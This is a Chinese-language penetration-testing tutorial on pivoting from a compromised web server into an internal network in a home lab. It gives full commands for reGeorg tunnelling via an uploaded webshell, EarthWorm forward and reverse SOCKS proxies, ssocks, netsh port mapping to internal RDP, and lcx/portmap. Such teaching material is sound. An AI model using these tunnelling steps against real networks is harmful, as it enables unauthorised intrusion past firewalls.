在渗透测试中,当我们获得了外网服务器(如web服务器,ftp服务器,mali服务器等等)的一定权限后发现这台服务器可以直接或者间接的访问内网。此时渗透测试进入后渗透阶段,一般情况下,内网中的其他机器是不允许外网机器访问的。这时候,我们可以通过 端口转发(隧道) 或将这台外网服务器设置成为 代理,使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做内网转发
原因
为什么我们选择了内网转发,而不是直接登录我们控制的机器,一般情况下要么我们的权限不够,要么对方设定了固定ip访问(应该是可以通过修改远程特定端口的作用域(注册表)实现接触ip限制)
最主要的还是就算我们能登录成功
要么我们登录对方系统操作东京太大
还有就是,对方的系统,可能并没有我们需要的环境,也没有相关工具,我们需要上传的太多了
内网转发的实现
常见内网转发工具的分类:
按照协议进行分类,可以分为:Socks协议 和 Socket协议
按照工具工作原理分类分为: 端口转发类(隧道) 和 web代理类
常见的端口转发工具不限于下面这些,还有很多好用的比如:Tunna、reDuh等。传送门——> 浅谈内网端口转发
reGeorg简介
reGeory适用于公网服务器只开放了80端口的情况。
reGeorg是用 python 写的利用Web进行代理的工具,流量只通过 http 传输,也就是http隧道。
利用场景
假如我们获取到了位于公网Web服务器的权限,也就是说我们可以向服务器web目录下上传任何文件,但是该服务器开启了防火墙,只开放了80端口。内网中存在另外一台主机,这里假设内网存在一台Web服务器。然后,我们现在要将公网Web服务器设置为代理,通过公网服务器的80端口,访问和探测内网Web服务器的信息
注意:这里上传的动态脚本需要和网站的语言一直,比如php的站点,我们需要上传php的脚本
实现
我这里的环境是,两台物理机A(kali:192.168.1.119)和B(win10:192.168.1.107)
在物理机上安装虚拟,通过NAT模式,我们称其为C(win7:10.10.10.128)
在这里A相当于我们的攻击机,B相当于目标的外网服务器,C属于内网服务器,B和C都有web服务
测试主机的连通性,以下,分别是win10、kali
我们的kali只能平通主机B,放一只能访问B的web服务
在C主机上我临时搭建了pjpstudy的环境,并保证测试正常,可以通过B主机访问,但是A主机访问不了,如下
分别是主机B和C的web服务
模拟操作,在B主机上写个一句话木马,我们通过web管理工具上传我们的脚本,或者,可以直接通过,文件上传漏洞之类的上传
这里使用web管理工具
接下来我们上传我们需要使用的脚本
访问到如下界面说明正常
首先配置proxychains代理链的配置文件/etc/proxychains.conf ,将代理设置成本机的1080端口:socks5 127.0.0.1 1080
然后我们在攻击机(A)上执行如下语句
python reGeorgSocksProxy.py -p 1080 -u http://192.168.1.107/tunnel.nosocket.php #表示本地1080端口的流量都转发给指定的那个url
然后命令前面加上 proxychains即可。如:proxychains curl 10.10.10.128
所以我们流量的走向是: 流量->本地1080端口->web服务器的80端口(通过我们上传的php文件进行流量转发)->内网服务器->web服务器的80端口->本地1080端口
注意:python执行的脚本需要开着我们才能访问,不能关闭
简介
EW 是一套便携式的网络穿透工具,具有 SOCKS5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内
实现
环境还是上面的环境,由于我的B主机,也就是通向内网的主机是windows,所以这里只传一个windows的ew
B主机配置
如果是Linux系统
./ew_for_linux64 -s ssocksd -l 1080 #监听本地的1080端口
如果是Windows系统
ew_for_Win.exe -s ssocksd -l 1080 #监听本地的1080端口
A主机设置
如果是Linux系统,配置proxychains代理链的配置文件,将代理设置成 192.168.1.107的1080端口:socks5 192.168.1.107 1080
然后命令前面加上 proxychains即可。如:proxychains curl 10.10.10.128
如果是Windows系统,直接浏览器中设置代理为 192.168.1.107的1080端口,或者利用 Proxifier 、sockscap64 设置全局代理
效果如下
A主机配置
如果是Linux系统:
./ew_for_linux64 -s rcsocks -l 1080 -e 8888 #将本机的8888端口的流量都转发给1080端口,这里8888端口只是用于传输流量
然后配置proxychains代理链的配置文件,将代理设置成 127.0.0.1的1080端口:socks5 127.0.0.1 1080
然后命令前面加上 proxychains即可。如:proxychains curl 10.10.10.128
如果是Windows系统
ew_for_Win.exe -s rcsocks -l 1080 -e 8888 #将本机的8888端口的流量都转发给1080端口,这里8888端口只是用于传输流量
然后浏览器中设置代理为 192.168.1.107的1080端口,或者利用 Proxifier 、sockscap64 设置全局代理
B主机配置
如果是Linux系统:
./ew_for_linux64 -s rssocks -d 192.168.1.119 -e 8888 #将本机的流量全部转发到192.168.1.119的8888端口
如果是Windows系统:
ew_for_Win.exe -s rssocks -d 192.168.1.119 -e 8888 #将本机的流量全部转发到192.168.1.119的8888端口
效果如下
注意:上当是先配置我们的攻击机,在配置外网的web服务器,不然会出现如下错误
Ssocks是Linux下一款端口转发的工具,而proxychains代理链是Linux下一款代理设置工具。由于Ssocks不稳定,所以不建议使用
而且此处限制的web服务器也是linux服务器
利用环境同上,具体配置如下
linux的web服务器配置如下
./rssocks -vv -s 192.168.1.119:9999 #接收192.168.1.119的9999端口的流量
A主机设置如下
首先配置proxychains代理链的配置文件,把最后的内容改成 socks5 127.0.0.1 1080
./rcsocks -l 1080 -p 9999 -vv #然后将本地的1080端口的流量转发到9999端口
接下来,我们想要访问和操作操作内网主机10.10.10.128的话,只需要在命令前面加上 proxychains
比如,获得内网Web服务器的网页文件: proxychains curl 10.10.10.128
使用放截图不在具体介绍
简介
Netsh 是Windows自带的命令行脚本工具,它可以建立端口映射
其使用语法如下
netsh interface portproxy add v4tov4 listenaddress=192.168.1.107 listenport=8888 connectaddress=10.10.10.128 connectport=80 #新建一个端口映射,将192.168。1.107的8888端口和10.10.10.128的80端口做个映射
netsh interface portproxy show all #查看端口映射
netsh interface portproxy delete v4tov4 listenaddress=192.168.1.107 listenport=8888 #删除端口映射
注意:此命令需要管理员权限
接下来我们使用另外一台windows,访问192.168.1.107:8888
接下来我们删除端口映射
除此之外,我们还可以映射内网主机的3389或者22端口,从而实现直接登录
以windows 为例
netsh interface portproxy add v4tov4 listenaddress=192.168.1.107 listenport=13389 connectaddress=10.10.10.128 connectport=3389
做了端口转发,我们就可以直接通过远程192.168.1.107:13389远程连接内网服务器
前提当然是,内网主机开着3389,一般都会开的
ssh只是修改端口号即可,命令都是一样的
简介
提起Lcx,可能大家并不会陌生,早些年被称为端口转发神器。 Lcx有它的局限性,比如原始版本不支持linux,不免杀等等,但lcx在某些特定的场合依然发挥着重要的作用。同样基于Socket协议
测试环境同上
lcx.exe -tran 9999 10.10.10.128 80 #将本地的8080端口转发到10.10.10.128的80端口
在linux环境下,可以使用lcx,也可以使用portmap
lcx命令和windows一致,portmap命令如下
Usage:./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
-v: version
-h1: host1
-h2: host2
-p1: port1
-p2: port2
-log: log the data
-m: the action method for this tool
1: listen on PORT1 and connect to HOST2:PORT2
2: listen on PORT1 and PORT2
3: connect to HOST1:PORT1 and HOST2:PORT2
其余姿势,请参考freebuf文章:浅谈内网端口转发